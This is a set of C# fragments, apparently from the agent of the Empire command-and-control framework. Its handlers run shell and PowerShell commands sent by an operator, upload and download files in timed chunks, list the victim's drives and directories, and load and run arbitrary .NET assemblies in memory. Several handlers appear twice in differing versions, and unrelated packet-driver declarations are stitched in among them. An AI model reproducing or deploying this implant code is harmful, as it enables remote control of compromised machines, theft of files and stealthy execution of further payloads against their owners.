//////////////////////////////////////////////////////////////////////////////// private Byte[] task42(PACKET packet) { String[] parts = packet.data.Split('|'); String fileName = parts[0]; String base64Part = parts[1]; byte[] content = Convert.FromBase64String(base64Part); try { using (FileStream fileStream = File.Open(fileName, FileMode.Create)) { using (BinaryWriter binaryWriter = new BinaryWriter(fileStream)) { try { binaryWriter.Write(content); return(encodePacket(packet.type, "[*] Upload of $fileName successful", packet.taskId)); } catch { return(encodePacket(packet.type, "[!] Error in writing file during upload", packet.taskId)); } } } } catch { return(encodePacket(packet.type, "[!] Error in writing file during upload", packet.taskId)); } }
//////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// public byte[] Task101(PACKET packet) { string prefix = packet.data.Substring(0, 15); string extension = packet.data.Substring(15, 5); string output = Agent.RunPowerShell(packet.data.Substring(20)); return(EncodePacket(packet.type, prefix + extension + output, packet.taskId)); }
//////////////////////////////////////////////////////////////////////////////// // Run an Agent Job //////////////////////////////////////////////////////////////////////////////// public byte[] Task121(PACKET packet) { byte[] scriptBytes = EmpireStager.aesDecrypt(sessionInfo.GetSessionKey(), jobTracking.ImportedScript); string script = Encoding.UTF8.GetString(scriptBytes); string jobId = jobTracking.StartAgentJob(script + ";" + packet.data, packet.taskId); return(EncodePacket(packet.type, "Job started: " + jobId, packet.taskId)); }
//////////////////////////////////////////////////////////////////////////////// // Load PowerShell Script //////////////////////////////////////////////////////////////////////////////// public byte[] Task120(PACKET packet) { Random random = new Random(); byte[] initializationVector = new byte[16]; random.NextBytes(initializationVector); jobTracking.ImportedScript = EmpireStager.aesEncrypt(sessionInfo.GetSessionKeyBytes(), initializationVector, Encoding.ASCII.GetBytes(packet.data)); return(EncodePacket(packet.type, "Script successfully saved in memory", packet.taskId)); }
//////////////////////////////////////////////////////////////////////////////// private void processTaskingPackets(byte[] encryptedTask) { byte[] taskingBytes = EmpireStager.aesDecrypt(sessionKey, encryptedTask); PACKET firstPacket = decodePacket(taskingBytes, 0); byte[] resultPackets = processTasking(firstPacket); sendMessage(resultPackets); Int32 offset = 12 + (Int32)firstPacket.length; String remaining = firstPacket.remaining; }
//////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// private void ProcessTaskingPackets(byte[] encryptedTask) { byte[] taskingBytes = EmpireStager.aesDecrypt(sessionInfo.GetSessionKey(), encryptedTask); PACKET firstPacket = DecodePacket(taskingBytes, 0); byte[] resultPackets = ProcessTasking(firstPacket); SendMessage(resultPackets); int offset = 12 + (int)firstPacket.length; string remaining = firstPacket.remaining; }
//////////////////////////////////////////////////////////////////////////////// private Byte[] task51(PACKET packet) { try { String output = jobTracking.jobs[packet.data].getOutput(); if (output.Trim().Length > 0) { encodePacket(packet.type, output, packet.taskId); } jobTracking.jobs[packet.data].killThread(); return(encodePacket(packet.type, "Job " + packet.data + " killed.", packet.taskId)); } catch { return(encodePacket(packet.type, "[!] Error in stopping job: " + packet.data, packet.taskId)); } }
//////////////////////////////////////////////////////////////////////////////// private PACKET decodePacket(Byte[] packet, Int32 offset) { PACKET packetStruct = new PACKET(); packetStruct.type = BitConverter.ToUInt16(packet, 0 + offset); packetStruct.totalPackets = BitConverter.ToUInt16(packet, 2 + offset); packetStruct.packetNumber = BitConverter.ToUInt16(packet, 4 + offset); packetStruct.taskId = BitConverter.ToUInt16(packet, 6 + offset); packetStruct.length = BitConverter.ToUInt32(packet, 8 + offset); Int32 takeLength = 12 + (Int32)packetStruct.length + offset - 1; Byte[] dataBytes = packet.Skip(12 + offset).Take(takeLength).ToArray(); packetStruct.data = Encoding.UTF8.GetString(dataBytes); Byte[] remainingBytes = packet.Skip(takeLength).Take(packet.Length - takeLength).ToArray(); packet = null; return(packetStruct); }
//////////////////////////////////////////////////////////////////////////////// // Upload File to Agent //////////////////////////////////////////////////////////////////////////////// private byte[] Task42(PACKET packet) { Console.WriteLine(packet.data); string[] parts = packet.data.Split('|'); if (2 > parts.Length) { return(EncodePacket(packet.type, "[!] Upload failed - No Delimiter", packet.taskId)); } string fileName = parts.First(); string base64Part = parts[1]; byte[] content; try { content = Convert.FromBase64String(base64Part); } catch (FormatException ex) { return(EncodePacket(packet.type, "[!] Upload failed: " + ex.Message, packet.taskId)); } try { using (FileStream fileStream = File.Open(fileName, FileMode.Create)) { using (BinaryWriter binaryWriter = new BinaryWriter(fileStream)) { try { binaryWriter.Write(content); return(EncodePacket(packet.type, "[*] Upload of " + fileName + " successful", packet.taskId)); } catch { return(EncodePacket(packet.type, "[!] Error in writing file during upload", packet.taskId)); } } } } catch { return(EncodePacket(packet.type, "[!] Error in writing file during upload", packet.taskId)); } }
//////////////////////////////////////////////////////////////////////////////// // Kill Job //////////////////////////////////////////////////////////////////////////////// private byte[] Task51(PACKET packet) { try { string output = jobTracking.jobs[packet.data].GetOutput(); if (output.Trim().Length > 0) { EncodePacket(packet.type, output, packet.taskId); } Console.WriteLine(packet.taskId); jobTracking.jobs[packet.data].KillThread(); return(EncodePacket(packet.type, "Job " + packet.data + " killed.", packet.taskId)); } catch { return(EncodePacket(packet.type, "[!] Error in stopping job: " + packet.data, packet.taskId)); } }
//////////////////////////////////////////////////////////////////////////////// //The hard part //////////////////////////////////////////////////////////////////////////////// private byte[] ProcessTasking(PACKET packet) { byte[] returnPacket = new byte[0]; try { //Change this to a switch : case int type = packet.type; switch (type) { case 1: byte[] systemInformationBytes = EmpireStager.GetSystemInformation("0", "servername"); string systemInformation = Encoding.ASCII.GetString(systemInformationBytes); return(EncodePacket(1, systemInformation, packet.taskId)); case 2: string message = "[!] Agent " + sessionInfo.GetAgentID() + " exiting"; SendMessage(EncodePacket(2, message, packet.taskId)); Environment.Exit(0); //This is still dumb return(new byte[0]); case 40: string[] parts = packet.data.Split(' '); string output; if (parts[0] == "Set-Delay") { Console.WriteLine("Current delay" + sessionInfo.GetDefaultDelay()); sessionInfo.SetDefaultDelay(UInt32.Parse(parts[1])); sessionInfo.SetDefaultJitter(UInt32.Parse(parts[2])); output = "Delay set to " + parts[1] + "Jitter set to " + parts[2]; } else if (1 == parts.Length) { output = Agent.InvokeShellCommand(parts.FirstOrDefault(), ""); } else { output = Agent.InvokeShellCommand(parts.FirstOrDefault(), string.Join(" ", parts.Skip(1).Take(parts.Length - 1).ToArray())); } byte[] packetBytes = EncodePacket(packet.type, output, packet.taskId); return(packetBytes); case 41: return(Task41(packet)); case 42: return(Task42(packet)); case 43: return(Task43(packet)); case 44: return(Task44(packet)); case 50: List <string> runningJobs = new List <string>(jobTracking.jobs.Keys); return(EncodePacket(packet.type, runningJobs.ToArray(), packet.taskId)); case 51: return(Task51(packet)); case 100: return(EncodePacket(packet.type, Agent.RunPowerShell(packet.data), packet.taskId)); case 101: return(Task101(packet)); case 110: string jobId = jobTracking.StartAgentJob(packet.data, packet.taskId); return(EncodePacket(packet.type, "Job started: " + jobId, packet.taskId)); case 111: return(EncodePacket(packet.type, "Not Implimented", packet.taskId)); case 120: return(Task120(packet)); case 121: return(Task121(packet)); default: return(EncodePacket(0, "Invalid type: " + packet.type, packet.taskId)); } } catch (Exception error) { return(EncodePacket(packet.type, "Error running command: " + error, packet.taskId)); } }
//////////////////////////////////////////////////////////////////////////////// public Byte[] task41(PACKET packet) { try { Int32 chunkSize = 512 * 1024; String[] packetParts = packet.data.Split(' '); String path = ""; if (packetParts.Length > 1) { path = String.Join(" ", packetParts.Take(packetParts.Length - 2).ToArray()); try { chunkSize = Convert.ToInt32(packetParts[packetParts.Length - 1]) / 1; if (packetParts[packetParts.Length - 1].Contains('b')) { chunkSize = chunkSize * 1024; } } catch { path += " " + packetParts[packetParts.Length - 1]; } } else { path = packet.data; } path = path.Trim('\"').Trim('\''); if (chunkSize < 64 * 1024) { chunkSize = 64 * 1024; } else if (chunkSize > 8 * 1024 * 1024) { chunkSize = 8 * 1024 * 1024; } DirectoryInfo directoryInfo = new DirectoryInfo(path); FileInfo[] completePath = directoryInfo.GetFiles(path); Int32 index = 0; String filePart = ""; do { byte[] filePartBytes = Agent.getFilePart(path, index, chunkSize); filePart = Convert.ToBase64String(filePartBytes); if (filePart.Length > 0) { String data = index.ToString() + "|" + path + "|" + filePart; sendMessage(encodePacket(packet.type, data, packet.taskId)); index++; if (agentDelay != 0) { Int32 max = (agentJitter + 1) * agentDelay; if (max > Int32.MaxValue) { max = Int32.MaxValue - 1; } Int32 min = (agentJitter - 1) * agentDelay; if (min < 0) { min = 0; } if (min == max) { sleepTime = min; } else { Random random = new Random(); sleepTime = random.Next(min, max); } Thread.Sleep(sleepTime); } GC.Collect(); } } while (filePart.Length != 0); return(encodePacket(packet.type, "[*] File download of " + path + " completed", packet.taskId)); } catch { return(encodePacket(packet.type, "[!] File does not exist or cannot be accessed", packet.taskId)); } }
//////////////////////////////////////////////////////////////////////////////// //The hard part //////////////////////////////////////////////////////////////////////////////// private byte[] processTasking(PACKET packet) { byte[] returnPacket = new byte[0]; try { //Change this to a switch : case Int32 type = packet.type; switch (type) { case 1: byte[] systemInformationBytes = EmpireStager.GetSystemInformation("0", "servername"); String systemInformation = Encoding.ASCII.GetString(systemInformationBytes); return(encodePacket(1, systemInformation, packet.taskId)); case 2: String message = "[!] Agent " + sessionId + " exiting"; sendMessage(encodePacket(2, message, packet.taskId)); Environment.Exit(0); //This is still dumb return(new byte[0]); case 40: String[] parts = packet.data.Split(' '); String output; if (parts.Length == 1) { output = Agent.invokeShellCommand(parts[0], ""); } else { output = Agent.invokeShellCommand(parts[0], parts[1]); } byte[] packetBytes = encodePacket(packet.type, output, packet.taskId); return(packetBytes); case 41: return(task41(packet)); case 42: return(task42(packet)); case 50: List <String> runningJobs = new List <String>(jobTracking.jobs.Keys); return(encodePacket(packet.type, runningJobs.ToArray(), packet.taskId)); case 51: return(task51(packet)); case 100: return(encodePacket(packet.type, Agent.runPowerShell(packet.data), packet.taskId)); case 101: return(task101(packet)); case 110: String jobId = jobTracking.startAgentJob(packet.data); return(encodePacket(packet.type, "Job started: " + jobId, packet.taskId)); case 111: return(encodePacket(packet.type, "Not Implimented", packet.taskId)); case 120: return(task120(packet)); case 121: return(task121(packet)); default: return(encodePacket(0, "Invalid type: " + packet.type, packet.taskId)); } } catch (Exception error) { return(encodePacket(packet.type, "Error running command: " + error, packet.taskId)); } }
public Byte[] Task43(PACKET packet) { string path = "/"; StringBuilder sb = new StringBuilder(""); if (packet.data.Length > 0) { path = packet.data; } if (path.Equals("/")) { // if the path is root, list drives as directories sb.Append("{ \"directory_name\": \"/\", \"directory_path\": \"/\", \"items\": ["); DriveInfo[] allDrives = DriveInfo.GetDrives(); foreach (DriveInfo d in allDrives) { if (d.IsReady == true) { sb.Append("{ \"path\": \"") .Append(d.Name.Replace("\\", "\\\\")) .Append("\", \"name\": \"") .Append(d.Name.Replace("\\", "\\\\")) .Append("\", \"is_file\": ") .Append("false") .Append(" },"); } } sb.Remove(sb.Length - 1, 1); sb.Append("] }"); } else if (!Directory.Exists(path)) { // if path doesn't exist sb.Append("Directory " + path + " not found."); } else { // Process the list of files found in the directory. string fullPath = Path.GetFullPath(path); string[] split = fullPath.Split('\\'); string dirName = split[split.Length - 1]; sb.Append("{ \"directory_name\": \"") .Append(dirName.Replace("\\", "\\\\")) .Append("\", \"directory_path\": \"") .Append(fullPath.Replace("\\", "\\\\")) .Append("\", \"items\": ["); string[] fileEntries = Directory.GetFileSystemEntries(path); foreach (string filePath in fileEntries) { string[] split2 = filePath.Split('\\'); string fileName = split2[split2.Length - 1]; sb.Append("{ \"path\": \"") .Append(filePath.Replace("\\", "\\\\")) .Append("\", \"name\": \"") .Append(fileName.Replace("\\", "\\\\")) .Append("\", \"is_file\": ") .Append(File.Exists(filePath) ? "true" : "false") .Append(" },"); } sb.Remove(sb.Length - 1, 1); sb.Append("] }"); } return(EncodePacket(packet.type, sb.ToString(), packet.taskId)); }
public static extern int PacketReceivePacket(IntPtr AdapterObject, PACKET lpPacket, int Sync);
public static extern int PacketSendPacket(IntPtr AdapterObject, PACKET pPacket, int Sync);
//////////////////////////////////////////////////////////////////////////////// // Excute assembly tasking //////////////////////////////////////////////////////////////////////////////// //Since Empire is using the COvenant tasks this is just taken from the Covenant Grunt // https://github.com/cobbr/Covenant/blob/master/Covenant/Data/Grunt/GruntHTTP/GruntHTTP.cs#L236 public Byte[] Task44(PACKET packet) { const int Delay = 1; const int MAX_MESSAGE_SIZE = 1048576; string output = ""; string[] parts = packet.data.Split(','); if (parts.Length > 0) { object[] parameters = null; if (parts.Length > 1) { parameters = new object[parts.Length - 1]; } for (int i = 1; i < parts.Length; i++) { parameters[i - 1] = parts[i]; } byte[] compressedBytes = Convert.FromBase64String(parts[0]); byte[] decompressedBytes = Decompress(compressedBytes); Assembly agentTask = Assembly.Load(decompressedBytes); PropertyInfo streamProp = agentTask.GetType("Task").GetProperty("OutputStream"); string results = ""; if (streamProp == null) { results = (string)agentTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters); Console.WriteLine(results); return(EncodePacket(packet.type, results, packet.taskId)); } else { Thread invokeThread = new Thread(() => results = (string)agentTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters)); using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable)) { using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString())) { streamProp.SetValue(null, pipeClient, null); DateTime lastTime = DateTime.Now; invokeThread.Start(); using (StreamReader reader = new StreamReader(pipeServer)) { object synclock = new object(); string currentRead = ""; Thread readThread = new Thread(() => { int count; char[] read = new char[MAX_MESSAGE_SIZE]; while ((count = reader.Read(read, 0, read.Length)) > 0) { lock (synclock) { currentRead += new string(read, 0, count); } } }); readThread.Start(); while (readThread.IsAlive) { Thread.Sleep(Delay * 1000); lock (synclock) { try { if (currentRead.Length >= MAX_MESSAGE_SIZE) { for (int i = 0; i < currentRead.Length; i += MAX_MESSAGE_SIZE) { string aRead = currentRead.Substring(i, Math.Min(MAX_MESSAGE_SIZE, currentRead.Length - i)); try { // need to update this later. Was using a covenant specific class. Need to reimplement in Empire } catch (Exception) {} } currentRead = ""; lastTime = DateTime.Now; } else if (currentRead.Length > 0 && DateTime.Now > (lastTime.Add(TimeSpan.FromSeconds(Delay)))) { // need to update this later. Was using a covenant specific class. Need to reimplement in Empire } } catch (ThreadAbortException) { break; } catch (Exception) { currentRead = ""; } } } output += currentRead; } } } invokeThread.Join(); } output += results; return(EncodePacket(packet.type, output, packet.taskId)); } return(EncodePacket(packet.type, "invalid packet", packet.taskId)); }